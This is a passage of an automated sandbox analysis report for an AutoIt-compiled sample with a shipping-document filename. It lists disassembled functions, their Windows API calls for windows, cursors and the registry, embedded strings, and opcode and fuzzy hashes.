                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00D6785D
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D6787B
                                                • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00D678A1
                                                • SendMessageW.USER32(?,00000421,?,?), ref: 00D678B6
                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00D678C9
                                                • IsWindowVisible.USER32(?), ref: 00D678E9
                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00D67904
                                                • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00D67918
                                                • GetWindowRect.USER32(?,?), ref: 00D67930
                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00D67956
                                                • GetMonitorInfoW.USER32 ref: 00D67970
                                                • CopyRect.USER32(?,?), ref: 00D67987
                                                • SendMessageW.USER32(?,00000412,00000000), ref: 00D679F2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                • String ID: ($0$tooltips_class32
                                                • API String ID: 698492251-4156429822
                                                • Opcode ID: 91d8f80b45014976008137e279aea3c4d77bcff4de5f45211200cc651da936e3
                                                • Instruction ID: 548bd6beafa54fe4b1b0e1f912243892ba0e59dfb49723d414f16fb08a1d598e
                                                • Opcode Fuzzy Hash: 91d8f80b45014976008137e279aea3c4d77bcff4de5f45211200cc651da936e3
                                                • Instruction Fuzzy Hash: 0CB18B71608305AFDB04DF64C889B6ABBE5FF88314F04891DF5999B291DB70EC04CBA2
                                                Function 00D1A856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D1A939
                                                • GetSystemMetrics.USER32(00000007), ref: 00D1A941
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D1A96C
                                                • GetSystemMetrics.USER32(00000008), ref: 00D1A974
                                                • GetSystemMetrics.USER32(00000004), ref: 00D1A999
                                                • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00D1A9B6
                                                • AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 00D1A9C6
                                                • CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00D1A9F9
                                                • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00D1AA0D
                                                • GetClientRect.USER32(00000000,000000FF), ref: 00D1AA2B
                                                • GetStockObject.GDI32(00000011), ref: 00D1AA47
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 00D1AA52
                                                  • Part of subcall function 00D1B63C: GetCursorPos.USER32(000000FF), ref: 00D1B64F
                                                  • Part of subcall function 00D1B63C: ScreenToClient.USER32(00000000,000000FF), ref: 00D1B66C
                                                  • Part of subcall function 00D1B63C: GetAsyncKeyState.USER32(00000001), ref: 00D1B691
                                                  • Part of subcall function 00D1B63C: GetAsyncKeyState.USER32(00000002), ref: 00D1B69F
                                                • SetTimer.USER32(00000000,00000000,00000028,00D1AB87), ref: 00D1AA79
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                • String ID: AutoIt v3 GUI
                                                • API String ID: 1458621304-248962490
                                                • Opcode ID: 447c1dfac0d65fd540706c5d401206af04e09340a0165e4d463fa082bb98ee68
                                                • Instruction ID: 9a7b100a0184a948a89310b96b5c12f12ae96a04dc5729019a3b5e967be88f6d
                                                • Opcode Fuzzy Hash: 447c1dfac0d65fd540706c5d401206af04e09340a0165e4d463fa082bb98ee68
                                                • Instruction Fuzzy Hash: B0B15775A4020AAFDB14DFA8DC45BEA7BB5FB08324F154219FA15E62D0DB34E890CB71
                                                Function 00D02EC0 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Foreground
                                                • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                • API String ID: 62970417-1919597938
                                                • Opcode ID: c10a9922de3483614b60f94c3dd52888e45ad0d329d2027ff7f4649476a557b1
                                                • Instruction ID: 47d78ea04c34bebc730850cfcf6a04855ac52a23c19c4a6b635070edd40e0b57
                                                • Opcode Fuzzy Hash: c10a9922de3483614b60f94c3dd52888e45ad0d329d2027ff7f4649476a557b1
                                                • Instruction Fuzzy Hash: A4D17630508687ABCB04DF10D841ABABBA5FF54344F14891DF49E575A2EB30E99ACBB1
                                                Function 00D63639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D63735
                                                • RegCreateKeyExW.ADVAPI32(?,?,00000000,00D9DC00,00000000,?,00000000,?,?), ref: 00D637A3
                                                • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00D637EB
                                                • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00D63874
                                                • RegCloseKey.ADVAPI32(?), ref: 00D63B94
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00D63BA1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$ConnectCreateRegistryValue
                                                • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                • API String ID: 536824911-966354055
                                                • Opcode ID: cedb0b16773f3aff2fa6663e02ae5735ad268df9e66273fbdad747cd642fc6f6
                                                • Instruction ID: 57d999f4be41c6b9243917ada7bb0cf8f508fbfab86fabdcfd2bf00beb31a641
                                                • Opcode Fuzzy Hash: cedb0b16773f3aff2fa6663e02ae5735ad268df9e66273fbdad747cd642fc6f6
                                                • Instruction Fuzzy Hash: 99025B756046019FCB14EF18D895A2AB7E5FF88720F04855DF98A9B3A2CB30ED45CFA1
                                                Function 00D66BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00D66C56
                                                • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00D66D16
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharMessageSendUpper
                                                • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                • API String ID: 3974292440-719923060
                                                • Opcode ID: 03191bb510dee0f59986d97f992661a35875cbd9b06ffec5831f58e90c7aa411
                                                • Instruction ID: 52d1dde7a5803978321bd72b39ebed6253fd13047620f06304002682183818ff
                                                • Opcode Fuzzy Hash: 03191bb510dee0f59986d97f992661a35875cbd9b06ffec5831f58e90c7aa411
                                                • Instruction Fuzzy Hash: 93A14F302042429FCB14EF24D951AAAB7A6FF44314F14896DB99A9B3D2DF31EC45CBB1
                                                Function 00D3CF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00D3CF91
                                                • __swprintf.LIBCMT ref: 00D3D032
                                                • _wcscmp.LIBCMT ref: 00D3D045
                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00D3D09A
                                                • _wcscmp.LIBCMT ref: 00D3D0D6
                                                • GetClassNameW.USER32(?,?,00000400), ref: 00D3D10D
                                                • GetDlgCtrlID.USER32(?), ref: 00D3D15F
                                                • GetWindowRect.USER32(?,?), ref: 00D3D195
                                                • GetParent.USER32(?), ref: 00D3D1B3
                                                • ScreenToClient.USER32(00000000), ref: 00D3D1BA
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00D3D234
                                                • _wcscmp.LIBCMT ref: 00D3D248
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 00D3D26E
                                                • _wcscmp.LIBCMT ref: 00D3D282
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
                                                • String ID: %s%u
                                                • API String ID: 3119225716-679674701
                                                • Opcode ID: 76649858d767c98ab5a4337dea7f9738637004286815e9af7f676e4932492c9b
                                                • Instruction ID: 1ea0eecac8815ec9650ca41000094585fee5f58dc6e4b3f29ee3aef27c1945d3
                                                • Opcode Fuzzy Hash: 76649858d767c98ab5a4337dea7f9738637004286815e9af7f676e4932492c9b
                                                • Instruction Fuzzy Hash: 18A1DF75604306AFC714DF60E884FAAB7AAFF44354F048619F9A9D3180EB30EA45CBB1
                                                Function 00D3D8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(00000008,?,00000400), ref: 00D3D8EB
                                                • _wcscmp.LIBCMT ref: 00D3D8FC
                                                • GetWindowTextW.USER32(00000001,?,00000400), ref: 00D3D924
                                                • CharUpperBuffW.USER32(?,00000000), ref: 00D3D941
                                                • _wcscmp.LIBCMT ref: 00D3D95F
                                                • _wcsstr.LIBCMT ref: 00D3D970
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 00D3D9A8
                                                • _wcscmp.LIBCMT ref: 00D3D9B8
                                                • GetWindowTextW.USER32(00000002,?,00000400), ref: 00D3D9DF
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 00D3DA28
                                                • _wcscmp.LIBCMT ref: 00D3DA38
                                                • GetClassNameW.USER32(00000010,?,00000400), ref: 00D3DA60
                                                • GetWindowRect.USER32(00000004,?), ref: 00D3DAC9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                • String ID: @$ThumbnailClass
                                                • API String ID: 1788623398-1539354611
                                                • Opcode ID: ef19bbda910d5a9dee842ed259ebdd160b90b4ae7884401e9f9b57676e82bca3
                                                • Instruction ID: 4be3b04ff59913bc56a011d6e33d854c5009b542083e43779c430246faea88fa
                                                • Opcode Fuzzy Hash: ef19bbda910d5a9dee842ed259ebdd160b90b4ae7884401e9f9b57676e82bca3
                                                • Instruction Fuzzy Hash: 1C819F710083099BDB05DF10E985FAA7BA9FF94714F08846AFD899A096EB30DD45CFB1
                                                Function 00D3D6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                • API String ID: 1038674560-1810252412
                                                • Opcode ID: 12a82215241d57bb46346e67c29d36ae3ed8e00b14415bdceecbf3b2d968a614
                                                • Instruction ID: 06f831b5f82dbf734040aa51f8df2a1c86815005017b2383c58b6d0984e752aa
                                                • Opcode Fuzzy Hash: 12a82215241d57bb46346e67c29d36ae3ed8e00b14415bdceecbf3b2d968a614
                                                • Instruction Fuzzy Hash: B6317A72A44205EADB14FB60EE53FEEB766DF20714F200129F446710D5EF61AA18CA75
                                                Function 00D3EA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000063), ref: 00D3EAB0
                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00D3EAC2
                                                • SetWindowTextW.USER32(?,?), ref: 00D3EAD9
                                                • GetDlgItem.USER32(?,000003EA), ref: 00D3EAEE
                                                • SetWindowTextW.USER32(00000000,?), ref: 00D3EAF4
                                                • GetDlgItem.USER32(?,000003E9), ref: 00D3EB04
                                                • SetWindowTextW.USER32(00000000,?), ref: 00D3EB0A
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00D3EB2B
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00D3EB45
                                                • GetWindowRect.USER32(?,?), ref: 00D3EB4E
                                                • SetWindowTextW.USER32(?,?), ref: 00D3EBB9
                                                • GetDesktopWindow.USER32 ref: 00D3EBBF
                                                • GetWindowRect.USER32(00000000), ref: 00D3EBC6
                                                • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00D3EC12
                                                • GetClientRect.USER32(?,?), ref: 00D3EC1F
                                                • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00D3EC44
                                                • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00D3EC6F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                • String ID:
                                                • API String ID: 3869813825-0
                                                • Opcode ID: 6b055c149c9b4196168dcfbb297742d0812a0c2ce73d92b57fc4cd6a4ce54318
                                                • Instruction ID: 277bdcfff670e667fbf520cac0a6113d97358b742ee4632f17e290aab8bbff98
                                                • Opcode Fuzzy Hash: 6b055c149c9b4196168dcfbb297742d0812a0c2ce73d92b57fc4cd6a4ce54318
                                                • Instruction Fuzzy Hash: B0511D71900709EFDB219FA8CD8AF6EBBF5FF04705F044928E596A26E0D774A945CB20
                                                Function 00D579B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00D579C6
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00D579D1
                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00D579DC
                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00D579E7
                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00D579F2
                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00D579FD
                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00D57A08
                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00D57A13
                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00D57A1E
                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00D57A29
                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00D57A34
                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00D57A3F
                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00D57A4A
                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00D57A55
                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00D57A60
                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00D57A6B
                                                • GetCursorInfo.USER32(?), ref: 00D57A7B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Cursor$Load$Info
                                                • String ID:
                                                • API String ID: 2577412497-0
                                                • Opcode ID: e3b1ddc0b8e6d5187e4ccd49fcbc5848295d9aa8ed5cb6f4a37d440fe6bbaf13
                                                • Instruction ID: bdba39302fe6f44c47872fc580ca9491cce021a82e440bd3a1e8986e8dd37daf
                                                • Opcode Fuzzy Hash: e3b1ddc0b8e6d5187e4ccd49fcbc5848295d9aa8ed5cb6f4a37d440fe6bbaf13
                                                • Instruction Fuzzy Hash: 5F3127B0D0831A6ADF109FB69C8999FBFF9FF04750F54452AE50DE7280DA78A5048FA1
                                                Function 00D0C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1E968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00D0C8B7,?,00002000,?,?,00000000,?,00D0419E,?,?,?,00D9DC00), ref: 00D1E984
                                                  • Part of subcall function 00D0660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D053B1,?,?,00D061FF,?,00000000,00000001,00000000), ref: 00D0662F
                                                • __wsplitpath.LIBCMT ref: 00D0C93E
                                                  • Part of subcall function 00D21DFC: __wsplitpath_helper.LIBCMT ref: 00D21E3C
                                                • _wcscpy.LIBCMT ref: 00D0C953
                                                • _wcscat.LIBCMT ref: 00D0C968
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00D0C978
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D0CABE
                                                  • Part of subcall function 00D0B337: _wcscpy.LIBCMT ref: 00D0B36F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
                                                • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                • API String ID: 2258743419-1018226102
                                                • Opcode ID: 621ea72ff5a6ce504b3ee30bdd3602d1706a074160001bda38651783855d0cd5
                                                • Instruction ID: 82529893c1428407745a99044fa3cae4cba4eda495dd53d5c78937305b4c2aa0
                                                • Opcode Fuzzy Hash: 621ea72ff5a6ce504b3ee30bdd3602d1706a074160001bda38651783855d0cd5
                                                • Instruction Fuzzy Hash: 03128D715083419FC724EF24C881AAFBBE5EF99314F44491EF58A932A1DB30DA49DB72
                                                Function 00D6CE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D6CEFB
                                                • DestroyWindow.USER32(?,?), ref: 00D6CF73
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00D6CFF4
                                                • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00D6D016
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D6D025
                                                • DestroyWindow.USER32(?), ref: 00D6D042
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00D00000,00000000), ref: 00D6D075
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00D6D094
                                                • GetDesktopWindow.USER32 ref: 00D6D0A9
                                                • GetWindowRect.USER32(00000000), ref: 00D6D0B0
                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00D6D0C2
                                                • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00D6D0DA
                                                  • Part of subcall function 00D1B526: GetWindowLongW.USER32(?,000000EB), ref: 00D1B537
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
                                                • String ID: 0$tooltips_class32
                                                • API String ID: 3877571568-3619404913
                                                • Opcode ID: b6d05b2db3f4f6023ed9319677ea3711676533a896a4cc92d35cbac42121a584
                                                • Instruction ID: 61c9ff94275263cdf9446cab905728572472cd5e1a008b98677f3b2ca01df5c5
                                                • Opcode Fuzzy Hash: b6d05b2db3f4f6023ed9319677ea3711676533a896a4cc92d35cbac42121a584
                                                • Instruction Fuzzy Hash: 69719BB4650306AFE720CF28DC85F6677E6EB89748F08451DF985872A1D770E942CB72
                                                Function 00D6F351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • DragQueryPoint.SHELL32(?,?), ref: 00D6F37A
                                                  • Part of subcall function 00D6D7DE: ClientToScreen.USER32(?,?), ref: 00D6D807
